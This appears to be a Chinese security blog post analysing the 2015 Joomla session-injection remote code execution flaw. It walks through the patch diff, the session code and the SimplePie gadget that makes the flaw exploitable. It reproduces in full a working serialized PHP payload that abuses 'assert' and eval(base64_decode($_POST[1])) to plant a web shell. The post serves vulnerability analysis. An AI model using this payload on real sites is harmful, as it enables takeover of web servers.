Menu

joomla rce简单分析

2015-12-16 - Joomla, 漏洞预警

简单分析,混个脸熟,若有不足,请多多包涵。

首先看下官方补丁
https://github.com/PhilETaylor/Joomla1.5.999/commit/c47151932dd75d729b63cfc553345492a60a976d
}

/**
-  * Do some checks for security reason
-  *
-  * - timeout check (expire)
-  * - ip-fixiation
-  * - browser-fixiation
-  *
-  * If one check failed, session data has to be cleaned.
-  *
-  * @access protected
-  * @param boolean $restart reactivate session
-  * @return boolean $result true on success
-  * @see http://shiflett.org/articles/the-truth-about-sessions
-  */
+   * Do some checks for security reason
+   *
+   * - timeout check (expire)
+   * - ip-fixiation
+   * - browser-fixiation
+   *
+   * If one check failed, session data has to be cleaned.
+   *
+   * @access protected
+   * @param boolean $restart reactivate session
+   * @return boolean $result true on success
+   * @see http://shiflett.org/articles/the-truth-about-sessions
+   */
function _validate( $restart = false )
{
// allow to restart a session
@@ -697,39 +697,27 @@ function _validate( $restart = false )
}
}

-    // record proxy forwarded for in the session in case we need it later
-    if( isset( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
-      $this->set( 'session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
-    }
-
-    // check for client adress
-    if( in_array( 'fix_adress', $this->_security ) && isset( $_SERVER['REMOTE_ADDR'] ) )
+    // Check for client address
+    if(in_array('fix_adress', $this->_security) && isset($_SERVER['REMOTE_ADDR']) && filter_var($_SERVER['REMOTE_ADDR'], FILTER_VALIDATE_IP) !== false)
{
-      $ip  = $this->get( 'session.client.address' );
+      $ip = $this->get('session.client.address');

-      if( $ip === null ) {
-        $this->set( 'session.client.address', $_SERVER['REMOTE_ADDR'] );
+      if($ip === null)
+      {
+        $this->set('session.client.address', $_SERVER['REMOTE_ADDR']);
}
-      else if( $_SERVER['REMOTE_ADDR'] !== $ip )
+      elseif($_SERVER['REMOTE_ADDR'] !== $ip)
{
-        $this->_state  =  'error';
+        $this->_state = 'error';
+
return false;
}
}

-    // check for clients browser
-    if( in_array( 'fix_browser', $this->_security ) && isset( $_SERVER['HTTP_USER_AGENT'] ) )//删除了这里
+    // Record proxy forwarded for in the session in case we need it later
+    if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && filter_var($_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP) !== false)// 增加了一份验证
{
-      $browser = $this->get( 'session.client.browser' );
-
-      if( $browser === null ) {
-        $this->set( 'session.client.browser', $_SERVER['HTTP_USER_AGENT']);//又删除了一份
-      }
-      else if( $_SERVER['HTTP_USER_AGENT'] !== $browser )
-      {
-//        $this->_state  =  'error';
-//        return false;
-      }
+      $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
}

return true;

在看下set操作的代码
function set($name, $value, $namespace = 'default')
{
$namespace = '__'.$namespace; //add prefix to namespace to avoid collisions

if($this->_state !== 'active') {
// @TODO :: generated error here
return null;
}

$old = isset($_SESSION[$namespace][$name]) ?  $_SESSION[$namespace][$name] : null;

if (null === $value) {
unset($_SESSION[$namespace][$name]);
} else {
$_SESSION[$namespace][$name] = $value; //发现其就是对session进行复制
}

return $old;
}

发现把
$_SERVER['HTTP_X_FORWARDED_FOR']
$_SERVER['HTTP_USER_AGENT']

进行的session的赋值操作。

在看ryat牛的pch:
https://github.com/80vul/phpcodz/blob/7b45b5e50828b8a2f027895009c6f53725e41918/research/pch-013.md
差不多就能理解了,还是反序列话的问题,只要找到可以利用的类酒哦了,根据之前那个payload
}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\x5C0\x5C0\x5C0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[1]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\x5C0\x5C0\x5C0connection";b:1;}\xF0\x9D\x8C\x86

发现几个关键词
DatabaseDriverMysqli,feed_url,cache_name_function 等

grep看一下

[email protected]:/home/gdscan/project/web/Joomla1.5.999-master# grep -n -r feed_url *
libraries/simplepie/simplepie.php:425:   * @see SimplePie::set_feed_url()
libraries/simplepie/simplepie.php:428:  var $feed_url;
libraries/simplepie/simplepie.php:674:   * @see SimplePie::set_feed_url()
libraries/simplepie/simplepie.php:677:  var $multifeed_url = array();
libraries/simplepie/simplepie.php:687:   * @see SimplePie::set_feed_url()
libraries/simplepie/simplepie.php:730:   * @param string $feed_url This is the URL you want to parse.
libraries/simplepie/simplepie.php:734:  function SimplePie($feed_url = null, $cache_location = null, $cache_duration = null)
libraries/simplepie/simplepie.php:751:    if ($feed_url !== null)
libraries/simplepie/simplepie.php:753:      $this->set_feed_url($feed_url);
libraries/simplepie/simplepie.php:821:  function set_feed_url($url)
libraries/simplepie/simplepie.php:825:      $this->multifeed_url = array();
libraries/simplepie/simplepie.php:828:        $this->multifeed_url[] = SimplePie_Misc::fix_protocol($value, 1);
libraries/simplepie/simplepie.php:833:      $this->feed_url = SimplePie_Misc::fix_protocol($url, 1);
libraries/simplepie/simplepie.php:848:      $this->feed_url = $file->url;
libraries/simplepie/simplepie.php:865:   * @see SimplePie::set_feed_url()
libraries/simplepie/simplepie.php:1534:    if ($this->feed_url !== null || $this->raw_data !== null)
libraries/simplepie/simplepie.php:1540:      if ($this->feed_url !== null)
libraries/simplepie/simplepie.php:1542:        $parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
libraries/simplepie/simplepie.php:1544:        if ($this->cache && $parsed_feed_url['scheme'] !== '')
libraries/simplepie/simplepie.php:1546:          $cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');//就是这里了

差不多就是new这么一个对象
var $cache_name_function = 'md5';//在看这个变量类型,完全可控

/**
* @var bool Reorder feed by date descending
* @see SimplePie::enable_order_by_date()
* @access private
*/
var $order_by_date = true;

/**
* @var mixed Force input encoding to be set to the follow value
* (false, or anything type-cast to false, disables this feature)
* @see SimplePie::set_input_encoding()
* @access private
*/
var $input_encoding = false;

/**
* @var int Feed Autodiscovery Level
* @see SimplePie::set_autodiscovery_level()
* @access private
*/
var $autodiscovery = SIMPLEPIE_LOCATOR_ALL;

利用方法就呼之欲出,只要new一个SimplePie,然后将其cache_name_function和feed_url设置成自己的代码就哦了

但是仔细看一下payload
JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\x5C0\x5C0\x5C0disconnectHandlers
就会发现 他先序列化了JDatabaseDriverMysqli类,通过这个的disconnectHandlers来加载SimplePie,达到了执行 SimplePie代码的效果,没有详细看代码,我猜测应该是SimplePie没有自动加载,而是通过disconnectHandlers去加载了 SimplePie

 

QQ图片20151216100403

转自wooyun:传送门